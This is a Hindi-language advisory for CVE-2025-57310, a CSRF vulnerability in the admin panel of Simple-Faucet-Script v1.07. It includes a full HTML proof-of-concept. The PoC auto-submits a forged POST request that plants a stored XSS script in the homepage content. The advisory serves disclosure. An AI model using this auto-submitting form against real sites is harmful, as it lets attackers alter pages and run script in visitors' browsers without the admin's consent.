CVE-2025-57310

Salmen2/Simple-Faucet-Script v1.07 में एक क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता, जो admin.php?p=ads&c=1 पर भेजे गए क्राफ्टेड POST अनुरोध के माध्यम से हमलावरों को मनमाना कोड निष्पादित करने की अनुमति देती है।

CWE

CWE-352: क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF)

CVSS v3.1 आधार स्कोर: 8.8 (उच्च)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

सारांश

यह उत्पाद एडमिन पैनल पर क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) के प्रति संवेदनशील है। जब एक प्रमाणित एडमिन PoC युक्त किसी दुर्भावनापूर्ण पृष्ठ पर जाता है, तो CSRF हमला होमपेज सामग्री में अनधिकृत संशोधन का कारण बनता है।

पुनरुत्पादन के चरण

https://example.com/admin.php पर एक एडमिन के रूप में लॉगिन करें।
निम्नलिखित PoC खोलें, होमपेज पर एक अलर्ट पॉपअप (स्टोर्ड XSS) देखें।

<!DOCTYPE html>
  <html>
  <head>
      <title>CSRF PoC</title>
  </head>
  <body>
      <h3>Standard CSRF PoC</h3>
      <form action="https://example.com/admin.php?p=ads&c=1" method="post">
        <input type="hidden" name="spacetop" value="<script>alert();</script>" />
          <input type="submit" value="Submit request" />
      </form>
      <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
      </script>
  </body>
  </html>

CVE-2025-57310

सबसे लोकप्रिय

प्रभाव